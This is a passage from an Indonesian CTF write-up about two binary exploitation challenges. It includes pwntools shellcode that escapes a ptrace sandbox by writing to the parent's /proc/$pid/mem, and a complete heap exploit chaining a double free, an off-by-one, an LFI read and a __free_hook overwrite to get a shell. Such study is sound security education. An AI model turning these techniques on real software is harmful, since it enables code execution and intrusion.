    uVar2 = 0;
}
return uVar2;

fork merupakan fungsi yang menduplikasi process sedang jalan. Yang jalanin fork bernama parent dan process baru dinamakan child. Kedua process memiliki sifat yang sama, kecuali beberapa pengecualian. Return value dari fungsi tersebut adalah PID process baru untuk parent, dan 0 untuk child. Ini berarti bahwa process child yang akan jalankan fungsi run_target.

Berikut adalah dekompilasi dari fungsi run_target.

lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar1 < 0) {
    fwrite("Error ptrace\n",1,0xd,stderr);
}
else {
    execl(param_1,param_1,0);
}
return;

Karena argv[1] adalah kreis, process child akan jalankan kreis.

Terdapat juga fungsi run_debugger yang sebenarnya cuma ngetrack child process. Hal ini dapat dilakukan dengan fungsi ptrace dan waitpid. Bagian kode yang paling menarik adalah yang berikut.

    if ((local_f8 & 0xff) != 0x7f) goto LAB_00100d63;
    uVar1 = (int)local_f8 >> 8;
    if ((uVar1 & 0xff) < 0x21) break;
    ptrace(PTRACE_GETREGS,(ulong)param_1,0,local_e8);
    local_ec = (int)local_70;
    if ((local_ec == 0x3b) || (local_ec == 0x142)) {
        puts("[Sandbox] Forbidden syscall detected. Kill the program.");
        kill_process((ulong)param_1);
LAB_00100d63:
        exit(0);
    }

Bagian kode ini akan ngetrack syscall apa saya yang digunakan oleh process yang diptrace, dan terlihat bahwa dia memblokir syscall dengan nilai 0x3b dan 0x142. Menurut artikel ini, 0x3b adalah execve dan 0x142 adalah execveat.

Berarti kita gabisa panggil execve dan mendapatkan RCE :(

Menurut daftar yang diatas, kita hanya bisa melewati 2 elemen pertama:
✓ Flag dapat dibaca dan namanya adalah flag/flag.txt
✓ Flag dapat dibaca dan namanya random
✗ Flag tidak dapat dibaca langsung, harus dapat RCE.

Mendapatkan RCE

Ketika upsolve, saya sudah mencoba beberapa cara untuk mendapatkan RCE. Saya akan jelaskan semuanya, dan jika bisa, jelaskan kenapa tidak berhasil.

1. Mengubah menjadi mode 32-bit (gagal)

Setelah mencari online untuk berbagai cara melewati seccomp, saya mendapatkan post ini. Intinya, terdapat cara untuk menjalani syscall 32-bit pada process 64-bit. Dengan instruksi retf, kita bisa mengubah nilai dari register cs dan rip. Ketika nilai dari register cs adalah 0x33, maka process akan berjalan dalam mode 64-bit, sedangkan jika nilainya adalah 0x23, maka process aja berjalan dengan mode 32-bit. Dengan mmap di memory dengan panjang alamat 32-bit, kita bisa menyiapkan shellcode seperti ini.

Karena nilai syscall execve di mode 32-bit adalah 0xb daripada 0x3b, seharusnya kita dapat menjalankan execve dan mendapatkan RCE. Akan tetapi, setelah menyiapkan kondisi seperti ini, ptrace tetap deteksi syscall terlarang dan memberhentikan process tersebut. Tebakan saya adalah karena process parent jalan dengan mode 64-bit, syscall yang dibaca tetap 0x3b.

2. Menggunakan syscall x32 ABI
Selain mengubah menjadi mode 32-bit, kita dapat menggunakan trik lain, yaitu syscall x32 ABI. Saya menemukan teknik ini dari post ini, dimana dia menggunakan syscall open x32 untuk membaca flagnya. Daftar lengkap syscall x32 ABI dapat dilihat disini. Catatan, cara membaca daftar tersebut adalah 64 -> hanya x86-64, x32 -> hanya x32, common -> keduanya

Dengan ilmu yang sudah kita miliki, menggunkana 0x40000208 sebagai nilai dari rax, execve seharusnya berjalan dan process parent seharusnya menangkapnya sebagai 0x40000208. Sayangnya, syscall ini tidak berjalan pada docker saya. Nanti saya cari cara memperbaikinya.

3. Menulis ke /proc/$pid/mem (berhasil)
Hal terakhir yang saya coba adalah file /proc/$pid/mem. File ini secara abtrak mengandung seluruh memory program suatu process pada saat runtime. File ini bersifat writable, sehingga kita dapat menulis apa saja yang kita inginkan pada suatu process bahkan saat runtime. Dengan cara ini, kita bisa menulis shellcode, mengubah pointer, dsb dengan hanya menulis ke file ini.

Ide saya sebagai berikut, menulis ke program memory parent process (yaitu program sandbox) dan memanggil execve dengan one_gadget.

Pertama kita perlu tau PID dari parent process. Hal ini dapat dicapai dengan membaca file /proc/self/stat dari child process. Angka keempat merupakan PPID (Sebenarnya kedua, tapi ntah kenapa berhasil untuk aku, minimal secara lokal. Mungkin secara remote harus yang kedua).

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/self/stat')
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0x200)
sc += shellcraft.write(1, 'rsp', 0x200)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

## PPID LEAK
p.recvuntil('R ')
p.recvuntil(' ')
p.recvuntil(' ')
PPID = int(p.recvuntil(' '))
print PPID

Kedua, saya perlu mendapatkan mapping parent process. Hal ini dapat dilakukan dengan membaca file /proc/$pid/maps.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/maps'.format(PPID))
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0xa00)
sc += shellcraft.write(1, 'rsp', 0xa00)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

p.recvuntil('sandbox')
sandbox_base = int(p.recvuntil('-')[:-1], 16)
offset_to_change = sandbox_base + 0xfb0
print hex(offset_to_change)
p.recvuntil('sandbox')
p.recvuntil('sandbox')
libc_base = int(p.recvuntil('-')[:-1], 16)
print hex(libc_base)

one_gadget = libc_base + 0x103f50

Ketiga, buka file /proc/$pid/mem dan menulis one_gadget ke GOT exit. Panggil syscall terlarang di child, yang seharusnya memberhentikan child dan mengeksekusi exit, dalam kasus ini adalah one_gadget.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/mem'.format(PPID))
sc += shellcraft.open('rsp', 2, 0)
sc += '''
mov r14, rax
mov rax, 8
mov rdi, r14
mov rsi, {}
mov rdx, 1
syscall

mov rdi, {}
push rdi
mov rax, r14
'''.format(offset_to_change, one_gadget)
sc += shellcraft.write('rax', 'rsp', 8)
sc += shellcraft.close('r14')
sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

Error

Berhasil!




4. Ziel

Ziel merupakan soal terakhir yang diberi. Karena dia yang terakhir, dia juga yang paling susah (Gak juga sih, kreis lebih susah :P). Programnya merupakan suatu simulator kehidupan, dimana kita bisa spawn makhluk baru dan dia akan “berjalan” pada suatu arah yang ditentukan dengan sebuah kecepatan yang ditentukan. Ketika dua makhluk tabrak, keduanya mati. Terdapat banyak fungsi lain, anda bisa unduh dan mencoba programnya disini. Program tersebut dicompile dengan PIE, maka kita tidak ada indikator tentang lokasi data.

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

Dengan makhluk:

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                b   |
|                    |
|                    |
|                    |
|            a       |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

Bugnya

Bugnya terletak di fungsi kill. Berikut adalah dekompilasi fungsi kill.

int kill(__pid_t __pid,int __sig)
{
  int iVar1;
  int iVar2;
  uint uVar3;
  
  puts("");
  puts("- Input location.");
  printf("X: ");
  iVar1 = read_int();
  printf("Y: ");
  iVar2 = read_int();
  if ((((iVar1 < 0) || (iVar2 < 0)) || (width <= iVar1)) || (height <= iVar2)) {
    uVar3 = puts("Invalid location.");
  }
  else {
    uVar3 = (uint)*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2);
    if ((*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) != 2) &&
       (uVar3 = (uint)*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8),
       *(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) != 0)) {
      free(*(void **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8));
      uVar3 = 0x5575b060;
      *(undefined2 *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) = 2;
    }
  }
  return (int)uVar3;
}

Intinya, fungsi kill akan free memory yang ada diheap, dan menandakan pointer tersebut dengan ‘2’ (yang berarti sudah mati). Akan tetapi, pointer tersebut tidak diNULLkan hingga user menjalankan fungsi next. Akan tetapi, kita tidak dapat free pointer tersebut dua kali sebab ada pengecekan ketika ingin membunuh sebuah makhluk yang sudah ditandai dengan ‘2’.

Pengecekan ini tidak ditemukan pada fungsi restart

void restart(void)
{
  int local_c;
  
  puts("");
  puts("Restarting.");
  local_c = 0;
  while (local_c < 0x800) {
    if (*(long *)(layout_addresses + (long)local_c * 8) != 0) {
      free(*(void **)(layout_addresses + (long)local_c * 8));
      *(undefined8 *)(layout_addresses + (long)local_c * 8) = 0;
    }
    local_c = local_c + 1;
  }
  puts("Done.");
  puts("");
  return;
}

Jadi fungsi kill dikombinasi dengan fungsi restart dapat double free sebuah pointer.

Kode save

Sebelum ditampilkan menu utama, sebenarnya terdapat menu untuk masukkan sebuah kode save. Berikut adalah contoh:

============================================================
=                  World Simulator v3.0.5                  =
============================================================

- Input a save code. If you don't have any just press enter.
Save code: 

- Please set your world size.
Width: 

Menu ini dipanggil setiap kali program dijalani dan setiap kali fungsi restart dipanggil. Berikut adalah dekompilasi dari fungsi untuk membaca kode save.

undefined8 get_save_file(void)
{
  int iVar1;
  char local_a;
  char local_9;
  
  puts("- Input a save code. If you don\'t have any just press enter.");
  printf("Save code: ");
  save_code = malloc(0x40);
  memcpy(save_code,"/tmp/",5);
  local_a = '\x05';
  while( true ) {
    iVar1 = getchar();
    local_9 = (char)iVar1;
    if (local_9 == '\n') {
      *(undefined *)((long)local_a + (long)save_code) = 0;
      return 1;
    }
    if (((local_9 < 'A') || ('z' < local_9)) || ((local_9 < 'a' && ('Z' < local_9)))) break;
    *(char *)((long)save_code + (long)local_a) = local_9;
    local_a = local_a + '\x01';
    if ('?' < local_a) {
      return 1;
    }
  }
  puts("Invalid save code. Only alphabets allowed.");
  puts("");
  while (local_9 != '\n') {
    iVar1 = getchar();
    local_9 = (char)iVar1;
  }
  free(save_code);
  return 0;
}

Secara bawaan, program tersebut membuat sebuah kode save yang akan ditempatkan di /tmp/. Program tersebut juga cek jika nama file tersebut hanya mengandung huruf, tidak boleh ada angka maupun karakter khusus. Jadi, kita tidak dapat melakukan directory traversal.

Akan tetapi, dengan double free tadi, kita bisa menyalahgunakan kode save.

Medapatkan LFI read

Sekarang mungkin anda berpikir, kenapa tidak salah gunakan tcache dan dapatkan RCE begitu? Bisa-bisa aja, tapi ternyata struktur dari sebuah makhluk tidak memperbolehkan hal itu terjadi. Berikut kira-kira struktur dari sebuah makhluk.

struct lifeform
{
  char name; // hanya sebuah char
  int vel_x;
  int vel_y;
  char[] desc; // Bukan pointer, melainkan datanya
};

Seperti bisa dilihat, kita tidak dapat mengubah pointer fd secara langsung, kita harus mencari cara lain. Sebelum itu, LFI!

Nah misal sekarang kita sudah mendapatkan double free untuk chunk yang didapatkan dari malloc(0x40), bagaimana kita bisa jadikan itu sebagai LFI read? Nah, berikut adalah dekompilasi dari fungsi save.

void save(void)
{
  char *__filename;
  FILE *__stream;
  int local_20;
  int local_1c;
  
  __filename = (char *)malloc(0x40);
  memcpy(__filename,"/tmp/",5);
  local_1c = 5;
  local_20 = 0;
  while (local_20 < 0x800) {
    if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
        ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
       (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
      __filename[local_1c] = **(char **)(layout_addresses + (long)local_20 * 8);
      local_1c = local_1c + 1;
      if (0x3f < local_1c) break;
    }
    local_20 = local_20 + 1;
  }
  __filename[local_1c] = '\0';
  __stream = fopen(__filename,"w");
  if (__stream != (FILE *)0x0) {
    local_20 = 0;
    while (local_20 < 0x800) {
      if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
          ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
         (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
        if (**(char **)(layout_addresses + (long)local_20 * 8) == ' ') {
          fputc(0x20,__stream);
        }
        fputc((int)**(char **)(layout_addresses + (long)local_20 * 8),__stream);
      }
      local_20 = local_20 + 1;
    }
    fclose(__stream);
  }
  return;
}

Wah terlihat sangat ribet, tapi menyimpulkan, itu intinya kita bisa save kesuatu file, dan nama file tersebut terdiri hanya dari konkatinasi nama semua makhluk yang sekarang kita punyai. Filename maksimal adalah sepanjang 0x40, dan hanya boleh berisi karakter di rentang 0x20-0x7e (spasi sampai tilda), yang berarti kita mungkin bisa melakukan directory traversal. Hal lain yang menarik adalah bahwa besar yang dimalloc sama besarnya dengan kode save.

Menggunakan double free, kita bisa membuat kode save dan file dari fungsi save menunjuk ke chunk yang sama, sehingga menunjuk ke string yang sama.

Berikut adalah dekompilasi dari fungsi load

void load(void)
{
  char cVar1;
  int iVar2;
  FILE *__stream;
  void *pvVar3;
  int local_14;
  
  __stream = fopen(save_code,"r");
  if (__stream != (FILE *)0x0) {
    local_14 = 0;
    while( true ) {
      iVar2 = _IO_getc((_IO_FILE *)__stream);
      cVar1 = (char)iVar2;
      if (cVar1 == -1) break;
      if (('\x1f' < cVar1) && (cVar1 != '\x7f')) {
        if (cVar1 == ' ') {
          local_14 = local_14 + 1;
        }
        else {
          pvVar3 = malloc(0x15);
          *(void **)(layout_addresses + (long)local_14 * 8) = pvVar3;
          **(char **)(layout_addresses + (long)local_14 * 8) = cVar1;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 4) = 0;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 8) = 0;
          local_14 = local_14 + 1;
        }
      }
    }
    fclose(__stream);
  }
  return;
}

Jika kita mengubah kode save, kita bisa melakukan LFI, dengan maksimal 0x40 panjang nama file.

Menurut daftar, kita hanya bisa melewati elemen pertama:
✓ Flag dapat dibaca dan namanya adalah flag/flag.txt
✗ Flag dapat dibaca dan namanya random
✗ Flag tidak dapat dibaca langsung, harus dapat RCE.

Tentunya, ada cara untuk mendapatkan RCE :)

Bug kedua

Terdapat off by one di fungsi spawn.

puts("- Input description.");
printf("Text length: ");
uVar3 = read_int();
if (((int)uVar3 < 0xc9) && (0 < (int)uVar3)) {
  iVar5 = width * iVar2;
  pvVar4 = malloc((long)(int)(uVar3 + 0xb));
  *(void **)(layout_addresses + (long)(iVar5 + iVar1) * 8) = pvVar4;
  printf("Description: ");
  iVar3 = my_read(local_e8,(ulong)uVar3,(ulong)uVar3);
  **(char **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) = local_ed[0];
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 4) = local_108;
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 8) = local_104;
  memcpy((void *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 0xc),
         local_e8,(long)iVar3);
}
else {
  puts("Invalid length.");
}

Memory yang dialokasikan sebesar panjang desc + 0xb, sedangkan desc mulai ditulis di alamat + 0xc, sehingga ada off by one.

Dengan off by one ini, kita bisa mendapatkan overlapping chunks, dan sebagai akibat kita bisa mendapatkan arbitrary write, menimpa free hook dengan one gadget dan mendapatkan RCE!

Leak?

Nah, karena PIE dihidupkan, mendapatkan leak lebih sulit. Panjang cerita, kita bisa mendapatkan leak dari suatu file. Dengan trik LFI yang sudah dijelaskan diatas, kita bisa membuka dan membaca file /proc/self/maps. File ini intinya hal yang muncul ketika menulis perintah info proc mappings di gdb.

Contoh:

pwn1810@2d1f2027d54d:~$ cat /proc/self/maps
55de5f98c000-55de5f98e000 r--p 00000000 08:02 28707441                   /bin/cat
55de5f98e000-55de5f993000 r-xp 00002000 08:02 28707441                   /bin/cat
55de5f993000-55de5f996000 r--p 00007000 08:02 28707441                   /bin/cat
55de5f996000-55de5f997000 r--p 00009000 08:02 28707441                   /bin/cat
55de5f997000-55de5f998000 rw-p 0000a000 08:02 28707441                   /bin/cat
55de618b7000-55de618d8000 rw-p 00000000 00:00 0                          [heap]
7fa7ffb3c000-7fa7ffb5e000 rw-p 00000000 00:00 0 
7fa7ffb5e000-7fa7ffb65000 r--s 00000000 08:02 28836792                   /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa7ffb65000-7fa7ffb97000 r--p 00000000 08:02 28836518                   /usr/lib/locale/C.UTF-8/LC_CTYPE
7fa7ffb97000-7fa7ffbb9000 r--p 00000000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffbb9000-7fa7ffd2a000 r-xp 00022000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd2a000-7fa7ffd76000 r--p 00193000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd76000-7fa7ffd77000 ---p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd77000-7fa7ffd7b000 r--p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7b000-7fa7ffd7d000 rw-p 001e3000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7d000-7fa7ffd83000 rw-p 00000000 00:00 0 
7fa7ffd89000-7fa7ffd8a000 r--p 00000000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffd8a000-7fa7ffdaa000 r-xp 00001000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdaa000-7fa7ffdb2000 r--p 00021000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb2000-7fa7ffdb3000 r--p 00028000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb3000-7fa7ffdb4000 rw-p 00029000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb4000-7fa7ffdb5000 rw-p 00000000 00:00 0 
7fffb054a000-7fffb056b000 rw-p 00000000 00:00 0                          [stack]
7fffb05b0000-7fffb05b3000 r--p 00000000 00:00 0                          [vvar]
7fffb05b3000-7fffb05b4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

Dengan file ini, kita sudah memiliki semua leak yang diperlukan!

Overlapping chunks

Jika anda pernah baca how2heap repo github oleh shellphish, terdapat trik yang mereka jelaskan tentang cara untuk mendapatkan overlapping chunks. Akan tetapi trick yang mereka gunakan antara ketika tcache dimatikan atau pada chunk diluar tcache (yang lebih besar dari 0x400). Oleh karena itu saya tidak akan menggunakan trik overlapping chunks, tapi yang lain, yaitu House of Spirit.

Karena kita mengubah besarnya suatu chunk menjadi suatu nilai dari 0x00-0xff, daripada mengurangi kita bisa MEMPERBESAR ukuran dari suatu chunk. dengan chunk tcache, hampir tidak ada pengecekan pada trick house of spirit. Oleh karena itu, kita bisa memperbesar chunk menjadi ukuran berapapun, kemudian free chunk tersebut. Jika kita memperbesar ukuran dari chunk menjadi + 0x20 (atau size apapun), kita bisa free chunks itu, alokasikan lagi, dan chunk tersebut akan overlap chunk setelahnya,

Ilustrasi: Error

Nah sekarang aku cuma perlu ganti fd pointer, dan selesai. Arbitrary write.

Berikut exploit lengkap saya:



from pwn import *

p = process('./ziel')

def next():
  p.sendlineafter('>', '1')

def spawn(x_pos, y_pos, identifier, x_vel, y_vel, desc_len, desc):
  p.sendlineafter('>', '2')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))
  p.sendlineafter('ID:', str(identifier))
  p.sendlineafter('X:', str(x_vel))
  p.sendlineafter('Y:', str(y_vel))
  p.sendlineafter('length:', str(desc_len))
  p.sendlineafter('Description:', str(desc))

def kill(x_pos, y_pos):
  p.sendlineafter('>', '3')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))

def save():
  p.sendlineafter('>', '4')

def load():
  p.sendlineafter('>', '5')

def restart():
  p.sendlineafter('>', '6')


p.sendlineafter('code:', '')
p.sendlineafter('Width:', '40')
p.sendlineafter('Height:', '1')


# leak maps
spawn(19, 0, 'd', 0, 0, 0x40-0xb, 'a'*(0x40-0xb))
kill(19, 0)
restart()

p.sendlineafter('code:', 'asdf')
p.sendlineafter('Width:', '128')
p.sendlineafter('Height:', '16')

maps = '../proc/self/maps'
for i in range(len(maps)):
  spawn(i, 0, maps[i], 0, 0, 1, 'a')

save()
load()
next()

p.recvuntil('|')
binary_leak = int(p.recvuntil('-')[:-1], 16)
heap_leak = int(p.recvuntil('[heap]')[-83:-70], 16)
libc_leak = int(p.recvuntil('-')[:-1], 16)
print hex(binary_leak)
print hex(heap_leak)
print hex(libc_leak)

# get arbitrary write
for i in range(128):
  for j in range(16):
    kill(i, j)
next()

spawn(0, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(1, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(2, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(3, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(4, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
kill(1, 0)
spawn(5, 0, 'd', 0, 0, 0x30-0xb-8, 'b'*(0x30-0xb-8-1) + '\x61')
kill(2, 0)
kill(3, 0)

# win
one_gadgets = [0x50186, 0x501e3, 0x103f50]
one_gadget = libc_leak + one_gadgets[2]
free_hook = libc_leak + 0x1e68e8

spawn(6, 0, 'd', 0, 0, 0x60-0xb-8, 'b'*(0x30-0xb-8-1) + p64(0x31) + p64(free_hook-0x10))
spawn(7, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(8, 0, 'd', 0, 0, 0x30-0xb-8, 'a'*4 + p64(one_gadget)*2)
kill(0, 0)


p.interactive()
p.close()

Error

:D

Catatan tambahan

Terdapat bug double free yang kita bisa salah gunakan di fungsi next. Intinya, jika dua makhluk “tabrak”, mereka akan di free keduanya. Tidak ada pengecekan jika sebuah makhluk sudah “mati”, jadi dengan membunuh suatu makhluk dan kemudian ada makhluk lain yang tabrak dia, makhluk tersebut akan di double free.

Tidak ada tim yang solve soal ini ketika lomba berlangsung (Dari pengetahuan saya).




Akhir Kata

Ini adalah CTF favorit saya sampai sekarang. Ini menunjukkan selama setahun, saya sudah mempelajari lebih banyak dan bisa membuktikan bahwa saya sebisa pemain CTF lain di negaraku (:D), bahkan yang lebih tua dan lebih berpengalaman. Soal di tingkat ini keren, tapi saya gak rekomendasikan level ini sebagai standar soal Binex. Mungkin 1 atau 2 pada level ini untuk CTF tingkat Univ pls :v.

Kabari saya jika ingin writeup mengenai soal web, mungkin saya akan kerjain :v.